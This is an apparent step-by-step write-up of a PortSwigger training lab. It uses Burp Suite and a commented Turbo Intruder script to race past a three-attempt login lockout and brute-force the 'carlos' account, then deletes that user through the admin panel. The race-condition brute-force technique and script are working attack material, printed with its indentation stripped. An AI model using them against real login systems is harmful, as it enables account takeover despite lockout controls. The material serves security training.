[Exploit a race condition](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits) in the login rate-limiter to brute-force `carlos` despite a “3 failed attempts → temporary lock” control. Use Burp Suite ≥ **2023.9** and the latest **Turbo Intruder**.
---
Most per-username rate limiters increment a **server-side counter after the password check**. In a tight time window, multiple concurrent attempts can enter the check before the counter increments or the lock flag propagates. Using **HTTP/2 multiplexing** and Turbo Intruder’s **single-packet gate**, you can land >3 attempts “at once” and win the race.
---
## Recon: prove per-username limiter + identify race window
1. **Baseline failure**
Send an invalid password for your account (`wiener:peter`) until you hit lockout after 3 bad attempts. Observe response: *“Account temporarily locked”* (or equivalent).
2. **Scope of limiter**
Try bad logins for a **different** username. You still get *“Invalid username or password”* (not “locked”), confirming the control is **per-username**, not per-IP/session.
3. **Sequential vs parallel**
* In **Repeater**, group a failed `POST /login` tab → **Send in sequence** (new connections). Expect lock at 3.
* **Send in parallel** (new connections). You’ll often see >3 responses return *“Invalid username or password”* before *“locked”*. That delta is your **race window**.
**Indicators of a viable race**
* Some requests succeed past attempt #3 before the first lock response appears.
* Timing jitter is small (low RTT, stable path).
If not, reset the lab and try again (new instance can be less noisy).
---
## Exploit plan
* Switch target username to **`carlos`**.
* Fire all candidate passwords **simultaneously** using Turbo Intruder’s HTTP/2 **single-packet** template.
* Watch for **HTTP 302** (successful login).
---
## Execution (Turbo Intruder)
1. In **Proxy → HTTP history**, pick a failed `POST /login`.
2. Send to **Repeater** → set body to the usual JSON (or form) with **`username=carlos`** and placeholder password.
3. **Right-click** → **Extensions → Turbo Intruder → Send to Turbo Intruder**.
4. In Turbo Intruder, choose the template **`examples/race-single-packet-attack.py`**.
5. Copy your provided **password list** to clipboard. The script will read it via `wordlists.clipboard`.
6. Replace the script with the PoC below (commented, minimal, correct).
7. **Attack**. Sort results by **Status** and **Payload**. A **302** marks the winning password.
### Turbo Intruder PoC (fully commented)
```python
# Turbo Intruder script: single-connection, HTTP/2, single-packet gate.
# Goal: land many login attempts for the same username "carlos" before the rate limiter increments/locks.
# Requirements: Burp Suite 2023.9+, Turbo Intruder latest from BApp Store. Target must support HTTP/2.
def queueRequests(target, wordlists):
# Use the BURP2 engine (HTTP/2). One TCP/TLS connection.
# Multiplex all requests on a single stream bundle to coalesce into minimal packets.
engine = RequestEngine(
endpoint=target.endpoint, # derives scheme/host/port from the request editor tab
concurrentConnections=1, # one connection enables intra-packet HEADERS coalescing
engine=Engine.BURP2 # HTTP/2, required for the single-packet race trick
)
# The password list is read from your clipboard so you can paste the lab's provided candidates directly.
passwords = wordlists.clipboard
# Gate "1" holds back the final send so we release every attempt at the same instant.
# Turbo Intruder will queue each request with its own payload (%s → password).
for pw in passwords:
# IMPORTANT:
# - Ensure your base request in the editor has username=carlos and password=%s marked as the payload position.
# - The 'gate' parameter defers flushing frames until openGate('1').
engine.queue(target.req, pw, gate='1')
# Fire all queued requests simultaneously.
engine.openGate('1')
# Optional: allow a small trailing burst (helps if the target batches frames).
# for pw in passwords[:3]:
# engine.queue(target.req, pw)
def handleResponse(req, interesting):
# Record every response row for analysis in the Turbo Intruder table (status, length, RTT, payload).
table.add(req)
# PRO TIP: You can filter on req.status == 302 to auto-flag winners:
# if req.status == 302:
# print('WIN:', req.payload)
```
**Expected win signal**
* **`302`** with `Location: /my-account` (or similar).
* Note the **Payload** column value — that’s Carlos’s password.
![[CleanShot 2025-08-18 at
[email protected]]]
**If no 302:**
* Wait for lock to reset (watch response flip back to *Invalid username or password*).
* Trim obviously wrong candidates from the list and re-run.
* Keep the connection count at **1**; switching to many connections often **reduces** win rate because the server increments/locks between TCP handshakes.
---
## Finish the objective
1. Log in as **`carlos`** with the winning password.
2. Visit **/admin** (or UI path to Admin).
3. Delete user **`carlos`** per lab objective.